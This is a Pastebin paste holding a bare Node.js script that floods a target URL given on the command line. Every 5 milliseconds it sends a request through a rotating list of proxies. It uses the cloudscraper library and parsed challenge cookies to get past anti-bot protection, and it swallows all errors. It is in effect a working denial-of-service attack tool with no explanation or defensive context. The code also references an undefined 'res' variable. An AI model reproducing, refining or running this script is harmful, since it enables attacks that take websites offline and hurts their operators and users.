Advertisement
Arbitrator

Untitled

Jan 2nd, 2020
8,738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.54 KB | None | 0 0
  1. const cloudscraper = require('cloudscraper');
  2. const fs = require('fs');
  3. const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
  4.  
  5. process.on('uncaughtException', (err) => {});
  6. process.on('unhandledRejection', (err) => {});
  7.  
  8.  
  9. var theproxy = 0;
  10.  
  11. var cookies = {};
  12.  
  13. setTimeout(() => {
  14. process.exit(1);
  15. }, process.argv[4] * 1000);
  16.  
  17.  
  18. setInterval(() => {
  19. theproxy = theproxy + 1;
  20. if (theproxy == proxies.length - 1) {
  21. theproxy = 0;
  22. }
  23. var ourproxy = proxies[theproxy];
  24. cloudscraper.get({
  25. method: 'GET',
  26. url: process.argv[2],
  27. headers: {
  28. cookie: cookies[ourproxy] || ''
  29. },
  30. proxy: ourproxy
  31. }, function(error, response, body) {
  32. // console.log(response.statusCode);
  33. if (body) {
  34. if (body.indexOf('document.cookie="') !== -1) {
  35. var asd = body.split('"');
  36. cookies[ourproxy] = response.request.headers['cookie'] + '; ' + asd[1] + ';';
  37.  
  38. cloudscraper({
  39. method: 'GET',
  40. url: asd[3],
  41. headers: {
  42. cookie: cookies[ourproxy]
  43. },
  44. proxy: ourproxy
  45. }, function(error, response, body) {
  46. if (!error) {
  47. if (res.statusCode == 200) {
  48. // console.log('bypassed')
  49. } else {
  50. }
  51. }
  52. });
  53. } else {
  54. }
  55. }
  56. });
  57. }, 5);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement